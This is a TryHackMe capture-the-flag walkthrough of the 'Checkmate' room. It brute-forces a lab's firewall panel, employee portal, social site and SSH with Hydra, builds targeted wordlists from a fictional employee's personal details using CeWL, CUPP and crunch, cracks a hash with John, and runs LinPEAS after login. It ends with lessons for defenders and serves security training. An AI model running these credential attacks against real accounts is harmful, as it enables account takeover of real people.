TryHackMe — Checkmate | Full Walkthrough

Platform: TryHackMe
Room: Checkmate
Difficulty: Easy
Category: Password Attacks / OSINT / Privilege Escalation
Author: Shikhali Jamalzade
GitHub: github.com/alisalive
LinkedIn: linkedin.com/in/camalzads

Overview

Checkmate is a password-focused lab on TryHackMe that simulates a realistic internal network compromise scenario. The target is Marco Bianchi, an IT Operations employee whose weak password habits are exploited across multiple internal systems — from a firewall panel to SSH access. The lab teaches reconnaissance, credential harvesting, custom wordlist generation, hash cracking, and pattern-based brute forcing.

Attack Surface:

Port Service 5000 Level App (API) 5001 FirewallOS Admin Panel 5002 Engineering Careers / Employee Portal 5003 Social.thm (Social Network) 22 SSH

Phase 1: Reconnaissance

Port Discovery & Directory Enumeration

Starting with service discovery across all four web ports using feroxbuster:

feroxbuster -u 'http://10.48.176.143:5000/' -w /usr/share/wordlists/dirb/common.txt -s 200
feroxbuster -u 'http://10.48.176.143:5001/' -w /usr/share/wordlists/dirb/common.txt -s 200
feroxbuster -u 'http://10.48.176.143:5002/' -w /usr/share/wordlists/dirb/common.txt -s 200

Results:

• http://10.48.176.143:5000/state — System state endpoint
• http://10.48.176.143:5001/ — FirewallOS login panel
• http://10.48.176.143:5002/login — Employee Portal login
• http://10.48.176.143:5003/login — Social.thm login

OSINT — jobs.thm (Port 5002)

The Engineering Careers portal revealed key intelligence about our target before authentication was even required. The public job listings exposed:

• Company values: Innovation, Excellence, Integrity
• Target employee: Marco Bianchi — IT Operations Specialist
• Locations: London, Berlin (remote/hybrid roles)

This OSINT phase is critical. These keywords will later form the basis of our custom wordlists.

Phase 2: Level 1 — FirewallOS (Port 5001)

Default Credential Attack

The FirewallOS admin panel is the first target. The system message on the panel itself hints: “Initial deployment completed with default admin credentials.”

Building a default credential wordlist:

cat << 'EOF' > default_list.txt
admin
admin123
password
firewall
12345
123456
root
secret
EOF

Launching Hydra:

hydra -l admin -P default_list.txt 10.48.176.143 -s 5001 \
  http-post-form "/login:username=^USER^&password=^PASS^:F=Invalid credentials" -t 4

Result:

[5001][http-post-form] host: 10.48.176.143  login: admin  password: 12345

Level 1 Password: 12345

FirewallOS Intelligence Gathering

Inside the dashboard, two critical pieces of information are visible:

1. Policy set: Marco_Default — confirms Marco manages this firewall
2. Allow-SSH rule: AdminNet → Servers (22/tcp) — SSH is restricted but accessible from the right network
3. System Message: “Secure internal employee portal next.” — confirms our next target

Phase 3: Level 2 — Employee Portal (Port 5002)

CeWL Wordlist Generation

The Engineering Careers portal contains rich content — job descriptions, company values, and keywords that an employee like Marco might use as a password. CeWL scrapes this content into a wordlist:

cewl http://10.48.176.143:5002/ -w jobs_words.txt

This generates over 100 words including: excellence, innovation, security, operations, London, Berlin, integrity, and more.

Expanding the wordlist with year-based mutations:

for word in $(cat jobs_words.txt); do
    echo "$word"
    echo "${word}!"
    echo "${word}2024"
    echo "${word}2025"
    echo "${word}2024!"
    echo "${word}2025!"
done > marco_passwords.txt

sort -u marco_passwords.txt -o marco_passwords.txt

Brute Force Attack

hydra -l marco -P marco_passwords.txt 10.48.176.143 -s 5002 \
  http-post-form "/login:username=^USER^&password=^PASS^:F=Invalid credentials" -t 4

Result:

[5002][http-post-form] host: 10.48.176.143  login: marco  password: excellence

Level 2 Password: excellence

After logging in, Marco’s full employee profile is revealed:

Field Value First Name Marco Surname Bianchi Nickname marky Birthdate (DDMMYYYY) 14021995 Role IT Operations

This personal data becomes the foundation for Level 3.

Phase 4: Level 3 — Social.thm (Port 5003)

Personal Information Wordlist — CUPP

The hint on the social.thm login page reads: “Use the details from jobs.thm to generate Marco’s password.”

With Marco’s personal information now in hand, the correct approach is to use CUPP (Common User Passwords Profiler) — a tool that generates targeted wordlists from personal data:

cupp -i

Entering Marco’s details:

• Name: Marco
• Surname: Bianchi
• Nickname: marky
• Birthdate: 14021995

CUPP generates combinations like Bianchi2495, marco1995, Marky14021995, etc.

Attack

hydra -l marco -P marco.txt 10.48.176.143 -s 5003 \
  http-post-form "/login:username=^USER^&password=^PASS^:F=Invalid credentials" -t 1 -w 5

Level 3 Password: Bianchi2495

After logging in, Marco’s social feed reveals two key hints for the remaining levels:

Post 1 (Level 5 hint):

“My tip for strong password: I take a company keyword, capitalize it, then append the year like 2024 or any other number and an exclamation mark.”

Tags: security, excellence, innovation, digital, cloud

Post 2 (Level 4 hint):

Check In: Oliver’s Hotel — with a profile picture

Phase 5: Level 4 — Hash Cracking

SHA256 Hash Identification

The profile picture is stored with a hashed filename:

d34a569ab7aaa54dacd715ae64953455d86b768846cd0085ef4e9e7471489b7b.png

This is a SHA256 hash. The challenge: crack it to find the plaintext value — which will be Marco’s password for this level.

echo "d34a569ab7aaa54dacd715ae64953455d86b768846cd0085ef4e9e7471489b7b" > marcopic.txt
john --format=raw-sha256 --wordlist=/usr/share/wordlists/rockyou.txt marcopic.txt

Result:

family           (?)

Level 4 Password: family

Phase 6: Level 5 — SSH Access

Pattern-Based Brute Force with Crunch

Marco’s social post gave away his exact password formula:

[Capitalized company keyword] + [Year] + [!]

From the social post tags, Security is the most likely keyword. The year 2024 fits the pattern. Using crunch to generate all possibilities for Security20XX!:

crunch 13 13 -t Security20%%! -o marco-password.txt

This generates exactly 100 passwords: Security2000! through Security2099!.

Launching Hydra against SSH:

hydra -l marco -P marco-password.txt 10.48.176.143 ssh -t 4

Result:

[22][ssh] host: 10.48.176.143  login: marco  password: Security2024!

Level 5 Password: Security2024!

SSH Access Confirmed

ssh [email protected]
# Password: Security2024!

marco@tryhackme-2404:~$ whoami
marco

Post-Exploitation — System Enumeration

With shell access as Marco, running LinPEAS for privilege escalation opportunities:

# Transfer via SCP (SSH port is allowed)
scp /root/linpeas.sh [email protected]:/tmp/linpeas.sh

chmod +x /tmp/linpeas.sh
/tmp/linpeas.sh 2>/dev/null | tee /tmp/out.txt

Key Findings

System: Ubuntu 24.04 LTS (AWS EC2 — t3a.small, ap-south-1)

Users with console access:

marco   uid=1001 — current user
qa      uid=1002 — member of sudo group (!)
ubuntu  uid=1000 — member of sudo group
root    uid=0

Critical finding — qa user has sudo privileges:

uid=1002(qa) gid=1002(qa) groups=1002(qa),27(sudo),100(users)

If qa's credentials can be obtained, full root access is achievable via sudo su.

Running services (ubuntu user):

/usr/bin/python3 social_app.py
/usr/bin/python3 level_app.py
/usr/bin/python3 jobs_app.py
/usr/bin/python3 firewall_app.py

All lab applications run as ubuntu from /home/ubuntu/lab/ — a restricted directory.

IAM Role exposed (AWS metadata): The machine runs with an attached IAM role named vulnerable-machine, and temporary AWS credentials were accessible via the metadata endpoint — a common real-world misconfiguration in cloud environments.

Attack Chain Summary

[Reconnaissance]
  └─ feroxbuster → discovered 4 web services + /state endpoint
  └─ CeWL → scraped jobs.thm for keyword intelligence
  └─ OSINT → Marco's name, nickname, birthdate, role

[Level 1 — FirewallOS]
  └─ Default credentials: admin:12345
  └─ Intel: Marco_Default policy, SSH restricted to AdminNet

[Level 2 — Employee Portal]
  └─ CeWL wordlist + Hydra → marco:excellence
  └─ Intel: Full personal profile (name, nickname, birthdate)

[Level 3 — Social.thm]
  └─ CUPP personal wordlist → marco:Bianchi2495
  └─ Intel: Password formula hint + profile picture hash

[Level 4 — Hash Cracking]
  └─ SHA256 hash from profile picture filename
  └─ John the Ripper + rockyou.txt → family

[Level 5 — SSH]
  └─ Crunch pattern (Security20%%!) + Hydra → marco:Security2024!
  └─ Shell access achieved

[Post-Exploitation]
  └─ LinPEAS enumeration
  └─ qa user identified as sudo member
  └─ AWS IAM credentials exposed via metadata

Lessons Learned

For defenders:

1. Never use default credentials. admin:12345 on a production firewall is catastrophic.
2. Don’t publish personal information in employee portals accessible before authentication.
3. Password policies must enforce complexity — excellence, family, and formula-based passwords like Security2024! are trivially crackable.
4. Profile picture filenames should not be reversible hashes of meaningful values.
5. OSINT is real. Every word on a public-facing web application is a potential password component.
6. Restrict metadata endpoint access on cloud instances to prevent IAM credential theft.

Tools used:

Tool Purpose feroxbuster Directory enumeration CeWL Website-based wordlist generation CUPP Personal info wordlist generation Hydra HTTP and SSH brute force Crunch Pattern-based wordlist generation John the Ripper SHA256 hash cracking LinPEAS Post-exploitation enumeration SCP File transfer via SSH

Author: Shikhali Jamalzade GitHub: github.com/alisalive LinkedIn: linkedin.com/in/camalzads

TryHackMe — Checkmate | Full Walkthrough was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.